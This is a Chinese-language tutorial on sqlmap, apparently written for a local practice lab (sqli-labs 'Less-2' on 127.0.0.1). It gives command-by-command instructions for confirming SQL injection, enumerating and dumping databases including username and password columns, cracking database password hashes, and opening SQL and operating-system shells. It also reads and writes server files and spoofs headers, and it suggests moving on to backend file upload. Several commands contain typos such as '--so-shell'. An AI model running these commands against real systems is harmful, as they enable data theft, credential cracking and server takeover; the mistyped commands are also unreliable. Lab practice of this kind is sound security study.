注意:本章使用的注入点是乱写的,主要以参数应用为主,可以采用自己的注入点
sqlmap需要用到python2和sqlmap
python是一个运行环境简称py,sqlmap是一个工具,sqlmap需用依靠python环境来运行起来.
1.pthony2去网盘找
2.sqlmap:sqlmap.org(官网下载)
3.下载后默认安装c盘
4.sqlmap解压后,把解压后的文件名改成sqlmap
5.裁剪文件夹粘贴到c盘的python目录下
6.在复制sqlmap的路径
7.此电脑-属性-高级设置-环境变量-path-编辑-新建-粘贴sqlmap的路径-确定-确定
8.在复制python的路径
9.此电脑-属性-高级设置-环境变量-path-编辑-新建-粘贴spthon的路径-确定-确定
10.测试是否安装成功-cmd---sqlmap.py回车
sqlmap使用基础
一.判断是否存在注入
1.假定目标注入点是http://127.0.0.1/sss/?id=1
执行 1 sqlmap.py -u 127.0.0.1/sss/?id=1 --batch --batch =跳过选择
可以判断出用的什么数据库,服务器,系统,等版本
2.还有一种情况,当注入点后面的参数大于等于2的时候,需要加双引号
例如: 1 sqlmap.py -u ''127.0.0.1/sss/?id=1&uid2"
3.判断问本中的请求是否存在注入
用burp开启代理抓爆,把抓到的post参数复制下来,粘贴到记事本里保存命名1.txt,在把记事本放到sqlmap文件夹里.
执行 1 sqlmap.py -r desktop/1.txt
desktop桌面
-r 路径
ps:这是将1.txt放到桌面下才会添加路径如果是sqlmap文件夹里就不用
执行 1 sqlmap.py -r 1.txt
切记cmd也得切换到所在目录才能执行
执行 1 sqlmap.py -r C:/Python27/sqlmap/1.txt
这是相对路径的使用办法
4.查询当前用户下的所有数据库
该命令是确定网站存在诸如后,用语查询用户的所有数据库,前提是要有权限读取.
执行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --dbs
5.获取数据库中的表名
格式 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 库名 --tables
执行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D security --tables 库名就是第四步所有数据库下的其中一个名
6.获取表中的字段名(列名)
该命令作用是查询完表名后,查询某一个表名中所有的列,
执行 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 库名 -T 列名 --columns
执行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D security -T users --columns
7.获取字段内容
改名了是查询完列名后,获取指定列中具体的字段数据
执行 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 库名 -T 列名 -C 列名,列名,列名 --dump
执行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 -D 库名 -T 列名 -C id,passwore,username --dump
基本这一步骤就可以找后台进行文件上传漏洞了
8.获取数据库中所有的用户
该命令的作用是列出数据库所有用户,如果有权限也可以管理用户
执行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --users
9.获取数据库用户名的密码
该命令是列出数据库的用户的密码,当权限运行起来时候,sqlmap会先列举出用户名,然后列出HASH 并尝试破解运行
1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --passwords 也可以加默认--batch
10.获取当前网站数据库的用户名称(网站用的是哪个数据库名)
该命令的作用是列出当前网站的使用的数据用户,
执行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --current-user 也可以加默认--batch
11.获取当前网站是哪个的数据库
1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --current-db
sqlmap使用进阶
1.--level 5 探测等级
--level 5指的是一共探测有5个等级(1-5),可以不用加level ,默认等级是1.
执行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --level 2
sqlmap使用的payload可以在文件路径xml/payloads.xml中看到,也可以按照格式自动添加payload.
其中5级包含的payload最多,自动破解cookie,xff等头部注入,5级运行的也慢.
这个注入参数会影响的注入点,get和post的数据都会测试,
http cookoe在为2的时候就会测试,
hettp user-agent/referer头在leve为3的时候就会测试.在不确定哪个漏洞或者注入点时可以提高level值
2.--is-dba:查看当前用户账户是否为数据库管理权限
执行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --is-dba 是管理员权限会返回True
3.--roles:列出数据库管理员的角色
当用户有权限读取包含所以用户的表,输入该命令会列举出每一个用户的角色,也可以用,-U参数指定想看哪个用户的角色
执行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --roles
4.--referer:http referer投
sqlmap可以在请求中伪造http中的referer,当level参数设定为3或者3以上时,会尝试对referer头注入.
可以使用referer命令来欺骗,如:--referer http://www.baidu.com
1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --referer http://www.baidu.com
意思就是你用百度的链接进入了你要注入的网站
5.--sql-shell:运行自定义sql语句
也就是在sqlmap里运行一个sql语句 里面可以执行 select*from users limit 0,1语句
执行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --sql-shell
进如成功后
1 select*from users; 他会告诉你users这个表里的所有内容
1 slesct version(); 他会告诉你数据库版本
6.--os-cmd, --os-shell:运行任意操作系统命令
执行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --so-shell
特别注意:使用这两个命令必须具备的条件
1.数据库用户必须是adb超级权限
2. 知道网站的绝对路径
3.php当中gpc为off,php自动转义为关闭转态
4.就算具备以上三个条件,因为涉及到系统命令,也未必可以执行成功
执行 1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --so-cmd=ipconfig
7.--file-read:从服务器中读取文件
该命令用语读取执行文件
1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --file-read "C:/1.txt"
8.--file-write, --file-dest:上传文件到数据库服务器中
1 sqlmap.py -u 127.0.0.1/Less-2/?id=2 --file-write"上传文件路径(相对路径)"--file-dest网站路径(写入路径)+"/写入的文件名"